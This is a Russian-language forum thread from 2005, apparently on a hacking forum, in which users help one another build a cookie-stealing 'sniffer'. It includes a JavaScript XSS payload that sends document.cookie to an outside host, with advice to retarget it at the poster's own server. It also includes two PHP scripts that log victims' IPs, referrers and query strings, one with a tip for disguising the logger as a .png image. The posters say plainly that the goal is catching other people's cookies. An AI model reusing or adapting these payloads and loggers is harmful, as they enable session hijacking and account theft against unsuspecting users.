Просмотр полной версии : Собственный сниффер
Вот хочу себе забацать сниффер, например на holm-e, что мне нужно сделать для этого?
поищи по форуму уже был скриптик
Нашёл вот такой скрипт(без вопросит. знаков):
<?
$f=Fopen("./log.txt","a+t") or die ("!!!");
Fputs($f,"$REMOTE_ADDR ");
Fputs($f,$QUERY_STRING);
Fputs($f,"\n");
?>
создал сайтик на holme, запихнул log.php(со скриптом) и log.txt в папку WWW.
Теперь о применении. Мне нужен этот сниффер для отлова куков через jpg-файл, в котором содержится:
<?script?>img = new Image();
img.src = "http://antichat.ru/cgi-bin/s.jpg?van"+document.cookie;<?/script?>
Этот скрипт отсылает куки на античатовский сниффер. ТАк вот вопрос: как мне переделать этот скрипт чтобы он отсылал куки на *.h15.ru/log.php ????
MageDealer
25.09.2005, 10:28
Нашёл вот такой скрипт(без вопросит. знаков):
<?
$f=Fopen("./log.txt","a+t") or die ("!!!");
Fputs($f,"$REMOTE_ADDR ");
Fputs($f,$QUERY_STRING);
Fputs($f,"\n");
?>
создал сайтик на holme, запихнул log.php(со скриптом) и log.txt в папку WWW.
Теперь о применении. Мне нужен этот сниффер для отлова куков через jpg-файл, в котором содержится:
<?script?>img = new Image();
img.src = "http://antichat.ru/cgi-bin/s.jpg?van"+document.cookie;<?/script?>
Этот скрипт отсылает куки на античатовский сниффер. ТАк вот вопрос: как мне переделать этот скрипт чтобы он отсылал куки на *.h15.ru/log.php ????
Скрипт конечно ты могучий привёл... :)
И вопрос тебя мучает тоже серьёзный :)
Попробуй заменить строку "http://antichat.ru/cgi-bin/s.jpg" на путь к своему скрипту. Неужели самому было трудно догадаться?
я вообще не понял ты говоришь что в первом скрипте надо без вопросов, как это????
и что за <?script?> <?/script?> :D :D
MageDealer
25.09.2005, 14:07
я вообще не понял ты говоришь что в первом скрипте надо без вопросов, как это????
предполагаю что там были криво-перенесённые русские коменты :D
Все, у меня все заработало! Причем справился я сам... Строчку "http://antichat.ru/cgi-bin/s.jpg" я конечно заменял на адрес своего скрипта, но куки не присылались. Теперь я понял в чем проблема и исправил: я сначала когда нашел скрипт для сниффера, то думал что вопросительные знаки в начале и в конце стоят для того, чтобы он не сработал на форуме. Оказалось, что нужно вопросительные знаки оставлять...
Из-за этого я и написал сначала фразу "(без вопросительных знаков)". Вы уж меня извините за моё чайничество...Я пока учусь...
Да, можете закрывать.
З.Ы. А сниффер я себе все-таки покруче сделал, с полями referer, query с перекодировкой...))
дак поделись. выкладывай. все порадуемся. а вообще стукни ка мне в асю 444-779 разговор есть!
<?
// nerezus, 2005, GPL v2
// IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess
$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv('QUERY_STRING'));
$ref=UrlDecode(getenv('HTTP_REFERER'));
$ip=getenv('REMOTE_ADDR');
$now = getdate();
$nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
fputs ($file, $str);
fclose($file);
header('Location: image.png');
?>
хе, да, "достижение" ;-) Именно по этому перед тем как начать "снифферы писать" надо хотя бы изучить язык на котором они пишутся ;-)
NaX[no]rT
25.09.2005, 23:11
2Ван
Да ты что? =)))))))))
кто-то что-то имеет против? =)
NaX[no]rT
25.09.2005, 23:59
Да нет =) никто ничего не имеет против =)))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot